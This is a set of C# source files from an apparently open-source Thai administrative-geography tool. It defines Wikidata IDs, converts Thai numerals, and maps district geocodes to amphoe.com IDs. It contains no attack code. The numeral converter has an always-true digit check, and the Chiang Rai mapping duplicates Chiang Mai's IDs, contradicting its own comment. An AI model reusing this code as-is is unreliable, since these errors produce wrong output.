{
public partial class WikiBase
{
/// <summary>
/// Translation table from <see cref="EntityType"/> to the item at WikiData.
/// </summary>
public static Dictionary<EntityType, String> WikiDataItems = new Dictionary<EntityType, String>()
{
{EntityType.Changwat, "Q50198"},
{EntityType.Amphoe, "Q475061"},
{EntityType.KingAmphoe, "Q6519277"},
{EntityType.Tambon, "Q1077097"},
{EntityType.Muban, "Q1368879"},
{EntityType.TAO, "Q15140073"},
{EntityType.PAO, "Q13023500"},
{EntityType.Thesaban, "Q1155688"},
{EntityType.ThesabanTambon, "Q15141625"},
{EntityType.ThesabanMueang, "Q13025342"},
{EntityType.ThesabanNakhon, "Q15141632"},
{EntityType.Sukhaphiban, "Q7635776"},
{EntityType.Monthon, "Q1936511"},
{EntityType.Country, "Q869"},
{EntityType.Khet, "Q15634531"},
{EntityType.Khwaeng, "Q456876"},
{EntityType.Chumchon,"Q15253857"},
{EntityType.SaphaTambon,"Q15695218"},
{EntityType.KlumChangwat,"Q13012657"},
{EntityType.ViceRoyality,"Q60480158"},
};
// public const String PropertyIdEntityType = "P132";
public const String PropertyIdCountry = "P17";
public const String PropertyIdIsInAdministrativeUnit = "P131";
public const String PropertyIdCoordinate = "P625";
public const String PropertyIdCapital = "P36";
public const String PropertyIdContainsAdministrativeDivisions = "P150";
public const String PropertyIdWebsite = "P856";
public const String PropertyIdSharesBorderWith = "P47";
public const String PropertyIdHeadOfGovernment = "P6";
public const String PropertyIdPostalCode = "P281";
public const String PropertyIdTwinCity = "P190";
public const String PropertyIdOpenStreetMap = "P402";
public const String PropertyIdLocationMap = "P242";
public const String PropertyIdFreebaseIdentifier = "P646";
public const String PropertyIdISO3166 = "P300";
public const String PropertyIdGND = "P227";
public const String PropertyIdWOEID = "P1281";
public const String PropertyIdGeonames = "P1566";
public const String PropertyIdHASC = "P8119";
public const String PropertyIdGNSUFI = "P2326";
public const String PropertyIdFIPS10 = "P901";
public const String PropertyIdDmoz = "P998";
public const String PropertyIdThaiGeocode = "P1067";
public const String PropertyIdInstanceOf = "P31";
public const String PropertyIdInception = "P571";
public const String PropertyIdPopulation = "P1082";
public const String PropertyIdSocialMedia = "P553";
public const String PropertyIdSocialMediaAddress = "P554";
public const String PropertyIdFoundationalText = "P457";
public const String PropertyIdMotto = "P1451";
public const String PropertyIdNativeLabel = "P1705";
public const String PropertyIdOfficialName = "P1448";
public const String PropertyIdDeterminationMethod = "P459";
public const String PropertyIdFoursquareId = "P1968";
public const String PropertyIdFacebookPage = "P1997"; // https://www.facebook.com/pages/-/$1
public const String PropertyIdGooglePlusUserName = "P2847";
public const String PropertyIdShortName = "P1813"; // wrong data type, wait for it to become multilingual!
public const String PropertyIdIpa = "P898";
public const String PropertyIdLanguageOfWork = "P407"; // qualifier for IPA, to be set to ItemIdThaiLanguage
public const String PropertyIdCommonsCategory = "P373";
public const String PropertyIdMainRegulatoryText = "P92"; // qualifier for inception to link to Gazette item
public const String PropertyIdTerritoryOverlaps = "P3179";
public const String PropertyIdTerritoryIdentical = "P3403";
public const String PropertyIdGadm = "P8714";
public const String PropertyIdArea = "P2046";
public const String PropertyIdCategoryCombinesTopic = "P971";
public const String PropertyIdCategoryForTopic = "P910";
public const String PropertyIdTopicForCategory = "P301";
public const String PropertyIdIsListOf = "P360";
public const String PropertyIdDescribedByUrl = "P973";
public const String PropertyIdNamedAfter = "P138";
// for qualifiers
public const String PropertyIdPointInTime = "P585";
public const String PropertyIdStartDate = "P580";
public const String PropertyIdEndDate = "P582";
public const String PropertyIdAppliesToPart = "P518";
// for sources
public const String PropertyIdStatedIn = "P248";
public const String PropertyIdReferenceUrl = "P854";
public const String PropertyIdPublisher = "P123";
// for Gazette entries
public const String PropertyIdSignatory = "P1891";
public const String PropertyFullTextAvailableAt = "P953";
public const String PropertyIdPublishedIn = "P1433";
public const String ItemIdRoyalGazette = "Q869928";
public const String PropertyIdPublicationDate = "P577";
// public const String PropertyIdOriginalLanguage = "P364"; // deprecated for written work, use PropertyIdLanguageOfWork
public const String ItemIdThaiLanguage = "Q9217";
public const String PropertyIdVolume = "P478";
public const String PropertyIdIssue = "P433";
public const String PropertyIdPage = "P304";
public const String PropertyIdTitle = "P1476";
public const String ItemIdStatute = "Q820655";
public const String ItemIdRoyalDecree = "Q13017629";
public const String ItemIdMinisterialRegulation = "Q6406128";
// source statements for TIS 1099
public const String ItemSourceTIS1099BE2535 = "Q15477441";
public const String ItemSourceTIS1099BE2548 = "Q15477531";
public const String ItemSourceCCAATT = "Q15477767";
public const String ItemDopa = "Q13012489";
public const String ItemCensuses = "Q39825";
public const String ItemRegistration = "Q15194024";
public const String ItemWikimediaCategory = "Q4167836";
public const String ItemSquareKilometer = "Q712226";
// for symbols
public const String PropertyOfficialSymbol = "P2238";
// public const String PropertyGenericAs = "P794";
public const String PropertyObjectHasRole = "P3831";
public const String ItemTree = "Q10884";
public const String ItemFlower = "Q506";
public const String ItemAquaticAnimal = "Q1756633";
public const String ItemColor = "Q1075";
// source statements for population
public static Dictionary<Int16, String> ItemCensus = new Dictionary<Int16, String>()
{
{2010,ItemCensus2010},
{2000,ItemCensus2000},
{1990,ItemCensus1990},
{1980,ItemCensus1980},
{1970,ItemCensus1970},
{1960,ItemCensus1960},
{1947,ItemCensus1947},
{1937,ItemCensus1937},
{1929,ItemCensus1929},
{1919,ItemCensus1919},
{1909,ItemCensus1909},
};
public const String ItemCensus2010 = "Q15637207";
public const String ItemCensus2000 = "Q15637213";
public const String ItemCensus1990 = "Q15637229";
public const String ItemCensus1980 = "Q15637237";
public const String ItemCensus1970 = "Q15639176";
public const String ItemCensus1960 = "Q15639232";
public const String ItemCensus1947 = "Q15639300";
public const String ItemCensus1937 = "Q15639324";
public const String ItemCensus1929 = "Q15639341";
public const String ItemCensus1919 = "Q15639367";
public const String ItemCensus1909 = "Q15639395";
public const String ItemSeatOfLocalGovernment = "Q25550691";
public const String ItemDistrictOffice = "Q41769254";
public const String ItemProvinceHall = "Q41769446";
public const String ItemSocialMediaTwitter = "Q918";
public const String ItemSocialMediaFacebook = "Q335";
public const String ItemSocialMediaGooglePlus = "Q356";
public const String ItemSocialMediaFoursquare = "Q51709";
public const String MubanBookVolume1Title = "ทำเนียบท้องที่ พุทธศักราช 2546 เล่ม 1";
public const String MubanBookVolume2Title = "ทำเนียบท้องที่ พุทธศักราช 2546 เล่ม 2";
public const String ItemMubanBookVolume1 = "Q23793867";
public const String ItemMubanBookVolume2 = "Q23793856";
public const String ItemFlickrShapeFile = "Q24010939"; // Reference for PropertyIdWOEID
public const String ItemSandbox = "Q4115189";
public const String SiteLinkCommons = "commonswiki";
public const String SiteLinkThaiWikipedia = "thwiki";
public const String SiteLinkEnglishWikipedia = "enwiki";
public const String SiteLinkGermanWikipedia = "dewiki";
}
}<file_sep>/TambonHelpers/ThaiNumeralHelper.cs
using System;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace De.AHoerstemeier.Tambon
{
public static class ThaiNumeralHelper
{
/// <summary>
/// Translation table between Thai numeral and Arabic numeral.
/// </summary>
internal static Dictionary<Char, Byte> ThaiNumerals = new Dictionary<char, byte>
{
{'๐',0},
{'๑',1},
{'๒',2},
{'๓',3},
{'๔',4},
{'๕',5},
{'๖',6},
{'๗',7},
{'๘',8},
{'๙',9}
};
/// <summary>
/// Replaces Thai numerals with their corresponding Arabian numeral.
/// </summary>
/// <param name="value">String to check.</param>
/// <returns>String with numerals exchanged.</returns>
public static String ReplaceThaiNumerals(String value)
{
string RetVal = String.Empty;
if ( !String.IsNullOrEmpty(value) )
{
foreach ( char c in value )
{
if ( ThaiNumerals.ContainsKey(c) )
{
RetVal = RetVal + ThaiNumerals[c].ToString(CultureInfo.InvariantCulture);
}
else
{
RetVal = RetVal + c;
}
}
}
return RetVal;
}
/// <summary>
/// Replaces any Arabian numerals with the corresponding Thai numerals.
/// </summary>
/// <param name="value">String to be checked.</param>
/// <returns>String with Thai numerals.</returns>
internal static string UseThaiNumerals(string value)
{
string RetVal = String.Empty;
if ( !String.IsNullOrEmpty(value) )
{
foreach ( Char c in value )
{
if ( (c >= '0') | (c <= '9') )
{
Int32 numericValue = Convert.ToInt32(c) - Convert.ToInt32('0');
foreach ( KeyValuePair<Char, Byte> keyValuePair in ThaiNumerals )
{
if ( keyValuePair.Value == numericValue )
{
RetVal = RetVal + keyValuePair.Key;
}
}
}
else
{
RetVal = RetVal + c;
}
}
}
return RetVal;
}
}
}<file_sep>/TambonMain/HistoryEntryBase.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public partial class HistoryEntryBase
{
/// <summary>
/// Adds the given gazette as a reference.
/// </summary>
/// <param name="gazette">Gazette entry to add.</param>
public void AddGazetteReference(GazetteEntry gazette)
{
if ( gazette == null )
{
throw new ArgumentNullException("gazette");
}
if ( gazette.effectiveSpecified )
{
effective = gazette.effective;
effectiveSpecified = true;
}
if ( gazette.effectiveafterSpecified )
{
effective = gazette.publication + new TimeSpan(gazette.effectiveafter, 0, 0, 0);
effectiveSpecified = true;
}
if ( !effectiveSpecified )
{
// wild guess - using publication date as effective date
effective = gazette.publication;
effectiveSpecified = true;
}
status = ChangeStatus.Gazette;
Items.Add(new GazetteRelated(gazette)
{
relation = GazetteRelation.Unknown
});
}
}
}<file_sep>/TambonMain/AmphoeComHelper.cs
using System;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
/// <summary>
/// Helper class to access http://amphoe.com
/// </summary>
public static class AmphoeComHelper
{
#region consts
#region _provinceToAmphoeCom
private static Dictionary<UInt32, Int16> _provinceToAmphoeCom = new Dictionary<UInt32, Int16>() {
{ 81,1},
{ 71,2},
{ 46,3},
{ 62,4},
{ 40,5},
{ 22,6},
{ 24,7},
{ 20,8},
{ 18,9},
{ 36,10},
{ 86,11},
{ 57,12},
{ 50,13},
{ 92,14},
{ 23,15},
{ 63,16},
{ 26,17},
{ 73,18},
{ 48,19},
{ 30,20},
{ 80,21},
{ 60,22},
{ 12,23},
{ 96,24},
{ 55,25},
{ 31,26},
{ 13,27},
{ 77,28},
{ 25,29},
{ 94,30},
{ 14,31},
{ 56,32},
{ 82,33},
{ 93,34},
{ 66,35},
{ 65,36},
{ 76,37},
{ 67,38},
{ 54,39},
{ 83,40},
{ 44,41},
{ 49,42},
{ 58,43},
{ 35,44},
{ 95,45},
{ 45,46},
{ 85,47},
{ 21,48},
{ 70,49},
{ 16,50},
{ 52,51},
{ 51,52},
{ 42,53},
{ 33,54},
{ 47,55},
{ 90,56},
{ 91,57},
{ 11,58},
{ 75,59},
{ 74,60},
{ 27,61},
{ 19,62},
{ 17,63},
{ 64,64},
{ 72,65},
{ 84,66},
{ 32,67},
{ 43,68},
{ 39,69},
{ 15,70},
{ 37,71},
{ 41,72},
{ 53,73},
{ 61,74},
{ 34,75},
};
#endregion _provinceToAmphoeCom
#region _geocodeToAmphoeCom
private static Dictionary<UInt32, Int16> _geocodeToAmphoeCom = new Dictionary<UInt32, Int16>()
{
#region Krabi
// AMP[1][0]=new Array('-- อำเภอ --','อำเภอเมืองกระบี่' ,'อำเภอเหนือคลอง' ,'อำเภอเขาพนม' ,'อำเภอเกาะลันตา' ,'อำเภอคลองท่อม' ,'อำเภอลำทับ' ,'อำเภออ่าวลึก' ,'อำเภอปลายพระยา' );
// AMP[1][1]= new Array('-1','1' ,'2' ,'3' ,'4' ,'5' ,'6' ,'7' ,'8' );
{ 8101, 1 }, // เมืองกระบี่
{ 8102, 3 }, // เขาพนม
{ 8103, 4 }, // เกาะลันตา
{ 8104, 5 }, // คลองท่อม
{ 8105, 7 }, // อ่าวลึก
{ 8106, 8 }, // ปลายพระยา
{ 8107, 6 }, // ลำทับ
{ 8108, 2 }, // เหนือคลอง
#endregion Krabi
#region Kanchanaburi
//AMP[2][0]=new Array('-- อำเภอ --','อำเภอเมืองกาญจนบุรี' ,'อำเภอด่านมะขามเตี้ย' ,'อำเภอไทรโยค' ,'อำเภอบ่อพลอย' ,'อำเภอหนองปรือ' ,'อำเภอศรีสวัสดิ์' ,'อำเภอท่ามะกา' ,'อำเภอท่าม่วง' ,'อำเภอทองผาภูมิ' ,'อำเภอสังขละบุรี' ,'อำเภอพนมทวน' ,'อำเภอห้วยกระเจา' ,'อำเภอเลาขวัญ' );
//AMP[2][1]= new Array('-1','9' ,'10' ,'11' ,'12' ,'13' ,'14' ,'15' ,'16' ,'17' ,'18' ,'19' ,'20' ,'21' );
{ 7101, 9 }, // เมืองกาญจนบุรี
{ 7102, 11 }, // ไทรโยค
{ 7103, 12 }, // บ่อพลอย
{ 7104, 14 }, // ศรีสวัสดิ์
{ 7105, 15 }, // ท่ามะกา
{ 7106, 16 }, // ท่าม่วง
{ 7107, 17 }, // ทองผาภูมิ
{ 7108, 18 }, // สังขละบุรี
{ 7109, 19 }, // พนมทวน
{ 7110, 21 }, // เลาขวัญ
{ 7111, 10 }, // ด่านมะขามเตี้ย
{ 7112, 13 }, // หนองปรือ
{ 7113, 20 }, // ห้วยกระเจา
#endregion Kanchanaburi
#region Kalasin
//AMP[3][0]=new Array('-- อำเภอ --','อำเภอเมืองกาฬสินธุ์' ,'อำเภอนามน' ,'อำเภอกมลาไสย' ,'อำเภอร่องคำ' ,'อำเภอกุฉินารายณ์' ,'อำเภอเขาวง' ,'อำเภอยางตลาด' ,'อำเภอห้วยเม็ก' ,'อำเภอสหัสขันธ์' ,'อำเภอคำม่วง' ,'อำเภอท่าคันโท' ,'อำเภอหนองกุงศรี' ,'อำเภอสมเด็จ' ,'อำเภอห้วยผึ้ง' ,'กิ่งอำเภอสามชัย' ,'กิ่งอำเภอนาคู' ,'กิ่งอำเภอฆ้องชัย' ,'กิ่งอำเภอดอนจาน' );
//AMP[3][1]= new Array('-1','22' ,'23' ,'24' ,'25' ,'26' ,'27' ,'28' ,'29' ,'30' ,'31' ,'32' ,'33' ,'34' ,'35' ,'851' ,'852' ,'853' ,'854' );
{ 4601, 22 }, // เมืองกาฬสินธุ์
{ 4602, 23 }, // นามน
{ 4603, 24 }, // กมลาไสย
{ 4604, 25 }, // ร่องคำ
{ 4605, 26 }, // กุฉินารายณ์
{ 4606, 27 }, // เขาวง
{ 4607, 28 }, // ยางตลาด
{ 4608, 29 }, // ห้วยเม็ก
{ 4609, 30 }, // สหัสขันธ์
{ 4610, 31 }, // คำม่วง
{ 4611, 32 }, // ท่าคันโท
{ 4612, 33 }, // หนองกุงศรี
{ 4613, 34 }, // สมเด็จ
{ 4614, 35 }, // ห้วยผึ้ง
{ 4615, 851 }, // สามชัย
{ 4616, 852 }, // นาคู
{ 4617, 854 }, // ดอนจาน
{ 4618, 853 }, // ฆ้องชัย
#endregion Kalasin
#region Kamphaeng Phet
//AMP[4][0]=new Array('-- อำเภอ --','อำเภอเมืองกำแพงเพชร' ,'อำเภอคลองลาน' ,'อำเภอไทรงาม' ,'อำเภอขาณุวรลักษบุรี' ,'อำเภอคลองขลุง' ,'อำเภอทรายทองวัฒนา' ,'อำเภอปางศิลาทอง' ,'อำเภอพรานกระต่าย' ,'อำเภอลานกระบือ' ,'กิ่งอำเภอโกสัมพีนคร' ,'กิ่งอำเภอบึงสามัคคี' );
//AMP[4][1]= new Array('-1','36' ,'37' ,'38' ,'39' ,'40' ,'41' ,'42' ,'43' ,'44' ,'833' ,'834' );
{ 6201, 36 }, // เมืองกำแพงเพชร
{ 6202, 38 }, // ไทรงาม
{ 6203, 37 }, // คลองลาน
{ 6204, 39 }, // ขาณุวรลักษบุรี
{ 6205, 40 }, // คลองขลุง
{ 6206, 43 }, // พรานกระต่าย
{ 6207, 44 }, // ลานกระบือ
{ 6208, 41 }, // ทรายทองวัฒนา
{ 6209, 42 }, // ปางศิลาทอง
{ 6210, 834 }, // บึงสามัคคี
{ 6211, 833 }, // โกสัมพีนคร
#endregion Kamphaeng Phet
#region Khon Kaen
//AMP[5][0]=new Array('-- อำเภอ --','อำเภอเมืองขอนแก่น' ,'อำเภอบ้านฝาง' ,'อำเภอพระยืน' ,'อำเภอหนองเรือ' ,'อำเภอชุมแพ' ,'อำเภอสีชมพู' ,'อำเภอน้ำพอง' ,'อำเภออุบลรัตน์' ,'อำเภอกระนวน' ,'อำเภอบ้านไผ่' ,'อำเภอเปือยน้อย' ,'อำเภอพล' ,'อำเภอแวงใหญ่' ,'อำเภอแวงน้อย' ,'อำเภอหนองสองห้อง' ,'อำเภอภูเวียง' ,'อำเภอมัญจาคีรี' ,'อำเภอชนบท' ,'อำเภอเขาสวนกวาง' ,'อำเภอภูผาม่าน' , 'กิ่งอำเภอซำสูง' ,'กิ่งอำเภอโคกโพธิ์ชัย' ,'กิ่งอำเภอหนองนาคำ' ,'กิ่งอำเภอบ้านแฮด' ,'กิ่งอำเภอโนนศิลา' );
//AMP[5][1]= new Array('-1','45' ,'46' ,'47' ,'48' ,'50' ,'51' ,'52' ,'53' ,'54' ,'55' ,'56' ,'57' ,'58' ,'59' ,'60' ,'61' ,'62' ,'63' ,'64' ,'65' ,'855' ,'856' ,'857' ,'858' ,'859' );
{ 4001, 45 }, // เมืองขอนแก่น
{ 4002, 46 }, // บ้านฝาง
{ 4003, 47 }, // พระยืน
{ 4004, 48 }, // หนองเรือ
{ 4005, 50 }, // ชุมแพ
{ 4006, 51 }, // สีชมพู
{ 4007, 52 }, // น้ำพอง
{ 4008, 53 }, // อุบลรัตน์
{ 4009, 54 }, // กระนวน
{ 4010, 55 }, // บ้านไผ่
{ 4011, 56 }, // เปือยน้อย
{ 4012, 57 }, // พล
{ 4013, 58 }, // แวงใหญ่
{ 4014, 59 }, // แวงน้อย
{ 4015, 60 }, // หนองสองห้อง
{ 4016, 61 }, // ภูเวียง
{ 4017, 62 }, // มัญจาคีรี
{ 4018, 63 }, // ชนบท
{ 4019, 64 }, // เขาสวนกวาง
{ 4020, 65 }, // ภูผาม่าน
{ 4021, 855 }, // ซำสูง
{ 4022, 856 }, // โคกโพธิ์ไชย
{ 4023, 857 }, // หนองนาคำ
{ 4024, 858 }, // บ้านแฮด
{ 4025, 859 }, // โนนศิลา
// { 4029, }, // เวียงเก่า
#endregion Khon Kaen
#region Chanthaburi
//AMP[6][0]=new Array('-- อำเภอ --','อำเภอเมืองจันทบุรี' ,'อำเภอขลุง' ,'อำเภอท่าใหม่' ,'อำเภอโป่งน้ำร้อน' ,'อำเภอมะขาม' ,'อำเภอแหลมสิงห์' ,'อำเภอสอยดาว' ,'อำเภอแก่งหางแมว' ,'อำเภอนายายอาม' ,'กิ่งอำเภอเขาคิชฌกูฏ' );
//AMP[6][1]= new Array('-1','67' ,'68' ,'69' ,'70' ,'71' ,'72' ,'73' ,'74' ,'75' ,'76' );
{ 2201, 67 }, // เมืองจันทบุรี
{ 2202, 68 }, // ขลุง
{ 2203, 69 }, // ท่าใหม่
{ 2204, 70 }, // โป่งน้ำร้อน
{ 2205, 71 }, // มะขาม
{ 2206, 72 }, // แหลมสิงห์
{ 2207, 73 }, // สอยดาว
{ 2208, 74 }, // แก่งหางแมว
{ 2209, 75 }, // นายายอาม
{ 2210, 76 }, // เขาคิชฌกูฏ
#endregion Chanthaburi
#region Chachoengsao
//AMP[7][0]=new Array('-- อำเภอ --','อำเภอเมืองฉะเชิงเทรา' ,'อำเภอบางคล้า' ,'อำเภอบางน้ำเปรี้ยว' ,'อำเภอบางปะกง' ,'อำเภอบ้านโพธิ์' ,'อำเภอพนมสารคาม' ,'อำเภอราชสาส์น' ,'อำเภอสนามชัยเขต' ,'อำเภอแปลงยาว' ,'อำเภอท่าตะเกียบ' ,'กิ่งอำเภอคลองเขื่อน' );
//AMP[7][1]= new Array('-1','77' ,'78' ,'79' ,'80' ,'81' ,'82' ,'83' ,'84' ,'85' ,'86' ,'87' );
{ 2401, 77 }, // เมืองฉะเชิงเทรา
{ 2402, 78 }, // บางคล้า
{ 2403, 79 }, // บางน้ำเปรี้ยว
{ 2404, 80 }, // บางปะกง
{ 2405, 81 }, // บ้านโพธิ์
{ 2406, 82 }, // พนมสารคาม
{ 2407, 83 }, // ราชสาส์น
{ 2408, 84 }, // สนามชัยเขต
{ 2409, 85 }, // แปลงยาว
{ 2410, 86 }, // ท่าตะเกียบ
{ 2411, 87 }, // คลองเขื่อน
#endregion Chachoengsao
#region Chonburi
//AMP[8][0]=new Array('-- อำเภอ --','อำเภอเมืองชลบุรี' ,'อำเภอบ้านบึง' ,'อำเภอหนองใหญ่' ,'อำเภอบางละมุง' ,'อำเภอพานทอง' ,'อำเภอพนัสนิคม' ,'อำเภอศรีราชา' ,'อำเภอเกาะสีชัง' ,'อำเภอสัตหีบ' ,'อำเภอบ่อทอง' ,'กิ่งอำเภอเกาะจันทร์' );
//AMP[8][1]= new Array('-1','88' ,'89' ,'90' ,'91' ,'92' ,'93' ,'94' ,'95' ,'96' ,'97' ,'98' );
{ 2001, 88 }, // เมืองชลบุรี
{ 2002, 89 }, // บ้านบึง
{ 2003, 90 }, // หนองใหญ่
{ 2004, 91 }, // บางละมุง
{ 2005, 92 }, // พานทอง
{ 2006, 93 }, // พนัสนิคม
{ 2007, 94 }, // ศรีราชา
{ 2008, 95 }, // เกาะสีชัง
{ 2009, 96 }, // สัตหีบ
{ 2010, 97 }, // บ่อทอง
{ 2011, 98 }, // เกาะจันทร์
#endregion Chonburi
#region Chainat
//AMP[9][0]=new Array('-- อำเภอ --','อำเภอเมืองชัยนาท' ,'อำเภอมโนรมย์' ,'อำเภอวัดสิงห์' ,'อำเภอสรรพยา' ,'อำเภอสรรคบุรี' ,'อำเภอหันคา' ,'กิ่งอำเภอหนองมะโมง' ,'กิ่งอำเภอเนินขาม' );
//AMP[9][1]= new Array('-1','99' ,'100' ,'101' ,'102' ,'103' ,'104' ,'105' ,'106' );
{ 1801, 99 }, // เมืองชัยนาท
{ 1802, 100 }, // มโนรมย์
{ 1803, 101 }, // วัดสิงห์
{ 1804, 102 }, // สรรพยา
{ 1805, 103 }, // สรรคบุรี
{ 1806, 104 }, // หันคา
{ 1807, 105 }, // หนองมะโมง
{ 1808, 106 }, // เนินขาม
#endregion Chainat
#region Chaiyaphum
//AMP[10][0]=new Array('-- อำเภอ --','อำเภอเมืองชัยภูมิ' ,'อำเภอบ้านเขว้า' ,'อำเภอคอนสวรรค์' ,'อำเภอเกษตรสมบูรณ์' ,'อำเภอหนองบัวแดง' ,'อำเภอจัตุรัส' ,'อำเภอบำเหน็จณรงค์' ,'อำเภอหนองบัวระเหว' ,'อำเภอเทพสถิต' ,'อำเภอภูเขียว' ,'อำเภอบ้านแท่น' ,'อำเภอแก้งคร้อ' ,'อำเภอคอนสาร' ,'อำเภอภักดีชุมพล' ,'อำเภอเนินสง่า' ,'กิ่งอำเภอซับใหญ่' );
//AMP[10][1]= new Array('-1','107' ,'108' ,'109' ,'110' ,'111' ,'112' ,'113' ,'114' ,'115' ,'116' ,'117' ,'118' ,'119' ,'120' ,'121' ,'860' );
{ 3601, 107 }, // เมืองชัยภูมิ
{ 3602, 108 }, // บ้านเขว้า
{ 3603, 109 }, // คอนสวรรค์
{ 3604, 110 }, // เกษตรสมบูรณ์
{ 3605, 111 }, // หนองบัวแดง
{ 3606, 112 }, // จัตุรัส
{ 3607, 113 }, // บำเหน็จณรงค์
{ 3608, 114 }, // หนองบัวระเหว
{ 3609, 115 }, // เทพสถิต
{ 3610, 116 }, // ภูเขียว
{ 3611, 117 }, // บ้านแท่น
{ 3612, 118 }, // แก้งคร้อ
{ 3613, 119 }, // คอนสาร
{ 3614, 120 }, // ภักดีชุมพล
{ 3615, 121 }, // เนินสง่า
{ 3616, 860 }, // ซับใหญ่
#endregion Chaiyaphum
#region Chumphon
//AMP[11][0]=new Array('-- อำเภอ --','อำเภอเมืองชุมพร' ,'อำเภอพะโต๊ะ' ,'อำเภอสวี' ,'อำเภอทุ่งตะโก' ,'อำเภอละแม' ,'อำเภอท่าแซะ' ,'อำเภอปะทิว' ,'อำเภอหลังสวน' );
//AMP[11][1]= new Array('-1','122' ,'123' ,'124' ,'125' ,'126' ,'127' ,'128' ,'129' );
{ 8601, 122 }, // เมืองชุมพร
{ 8602, 127 }, // ท่าแซะ
{ 8603, 128 }, // ปะทิว
{ 8604, 129 }, // หลังสวน
{ 8605, 126 }, // ละแม
{ 8606, 123 }, // พะโต๊ะ
{ 8607, 124 }, // สวี
{ 8608, 125 }, // ทุ่งตะโก
#endregion Chumphon
#region Chiang Rai
//AMP[12][0]=new Array('-- อำเภอ --','อำเภอเมืองเชียงราย' ,'อำเภอเวียงชัย' ,'อำเภอเชียงของ' ,'อำเภอเทิง' ,'อำเภอพาน' ,'อำเภอป่าแดด' ,'อำเภอแม่จัน' ,'อำเภอเชียงแสน' ,'อำเภอแม่สาย' ,'อำเภอแม่สรวย' ,'อำเภอเวียงป่าเป้า' ,'อำเภอพญาเม็งราย' ,'อำเภอเวียงแก่น' ,'อำเภอขุนตาล' ,'อำเภอแม่ฟ้าหลวง' ,'อำเภอแม่ลาว' ,'กิ่งอำเภอเวียงเชียงรุ้ง' ,'กิ่งอำเภอดอยหลวง' );
//AMP[12][1]= new Array('-1','130' ,'131' ,'132' ,'133' ,'134' ,'135' ,'136' ,'137' ,'138' ,'139' ,'140' ,'141' ,'142' ,'143' ,'144' ,'145' ,'835' ,'836' );
{ 5701, 146 }, // เมืองเชียงราย
{ 5702, 147 }, // เวียงชัย
{ 5703, 148 }, // เชียงของ
{ 5704, 149 }, // เทิง
{ 5705, 150 }, // พาน
{ 5706, 151 }, // ป่าแดด
{ 5707, 152 }, // แม่จัน
{ 5708, 153 }, // เชียงแสน
{ 5709, 154 }, // แม่สาย
{ 5710, 155 }, // แม่สรวย
{ 5711, 156 }, // เวียงป่าเป้า
{ 5712, 157 }, // พญาเม็งราย
{ 5713, 158 }, // เวียงแก่น
{ 5714, 159 }, // ขุนตาล
{ 5715, 160 }, // แม่ฟ้าหลวง
{ 5716, 161 }, // แม่ลาว
{ 5717, 835 }, // เวียงเชียงรุ้ง
{ 5718, 836 }, // ดอยหลวง
#endregion Chiang Rai
#region Chiang Mai
//AMP[13][0]=new Array('-- อำเภอ --','อำเภอเมืองเชียงใหม่' ,'อำเภอจอมทอง' ,'อำเภอแม่แจ่ม' ,'อำเภอเชียงดาว' ,'อำเภอดอยสะเก็ด' ,'อำเภอแม่แตง' ,'อำเภอแม่ริม' ,'อำเภอสะเมิง' ,'อำเภอฝาง' ,'อำเภอแม่อาย' ,'อำเภอพร้าว' ,'อำเภอสันป่าตอง' ,'อำเภอสันกำแพง' ,'อำเภอสันทราย' ,'อำเภอหางดง' ,'อำเภอฮอด' ,'อำเภอดอยเต่า' ,'อำเภออมก๋อย' ,'อำเภอสารภี' ,'อำเภอเวียงแหง' ,'อำเภอไชยปราการ' ,'อำเภอแม่วาง' ,'กิ่งอำเภอแม่ออน' ,'กิ่งอำเภอดอยหล่อ' );
//AMP[13][1]= new Array('-1','146' ,'147' ,'148' ,'149' ,'150' ,'151' ,'152' ,'153' ,'154' ,'155' ,'156' ,'157' ,'158' ,'159' ,'160' ,'161' ,'162' ,'163' ,'164' ,'165' ,'166' ,'167' ,'837' ,'838' );
{ 5001, 146 }, // เมืองเชียงใหม่
{ 5002, 147 }, // จอมทอง
{ 5003, 148 }, // แม่แจ่ม
{ 5004, 149 }, // เชียงดาว
{ 5005, 150 }, // ดอยสะเก็ด
{ 5006, 151 }, // แม่แตง
{ 5007, 152 }, // แม่ริม
{ 5008, 153 }, // สะเมิง
{ 5009, 154 }, // ฝาง
{ 5010, 155 }, // แม่อาย
{ 5011, 156 }, // พร้าว
{ 5012, 157 }, // สันป่าตอง
{ 5013, 158 }, // สันกำแพง
{ 5014, 159 }, // สันทราย
{ 5015, 160 }, // หางดง
{ 5016, 161 }, // ฮอด
{ 5017, 162 }, // ดอยเต่า
{ 5018, 163 }, // อมก๋อย
{ 5019, 164 }, // สารภี
{ 5020, 165 }, // เวียงแหง
{ 5021, 166 }, // ไชยปราการ
{ 5022, 167 }, // แม่วาง
{ 5023, 837 }, // แม่ออน
{ 5024, 838 }, // ดอยหล่อ
// { 5025, }, // กัลยาณิวัฒนา
#endregion Chiang Mai
#region Trang
//AMP[14][0]=new Array('-- อำเภอ --','อำเภอเมืองตรัง' ,'อำเภอกันตัง' ,'อำเภอย่านตาขาว' ,'อำเภอปะเหลียน' ,'อำเภอสิเกา' ,'อำเภอห้วยยอด' ,'อำเภอวังวิเศษ' ,'อำเภอนาโยง' ,'อำเภอรัษฎา' ,'กิ่งอำเภอหาดสำราญ' );
//AMP[14][1]= new Array('-1','168' ,'169' ,'170' ,'171' ,'172' ,'173' ,'174' ,'175' ,'176' ,'177' );
{ 9201, 168 }, // เมืองตรัง
{ 9202, 169 }, // กันตัง
{ 9203, 170 }, // ย่านตาขาว
{ 9204, 171 }, // ปะเหลียน
{ 9205, 172 }, // สิเกา
{ 9206, 173 }, // ห้วยยอด
{ 9207, 174 }, // วังวิเศษ
{ 9208, 175 }, // นาโยง
{ 9209, 176 }, // รัษฎา
{ 9210, 177 }, // หาดสำราญ
#endregion Trang
#region Trat
//AMP[15][0]=new Array('-- อำเภอ --','อำเภอเมืองตราด' ,'อำเภอคลองใหญ่' ,'อำเภอเขาสมิง' ,'อำเภอบ่อไร่' ,'อำเภอแหลมงอบ' ,'กิ่งอำเภอเกาะกูด' ,'กิ่งอำเภอเกาะช้าง' );
//AMP[15][1]= new Array('-1','178' ,'179' ,'180' ,'181' ,'182' ,'183' ,'184' );
{ 2301, 178 }, // เมืองตราด
{ 2302, 179 }, // คลองใหญ่
{ 2303, 180 }, // เขาสมิง
{ 2304, 181 }, // บ่อไร่
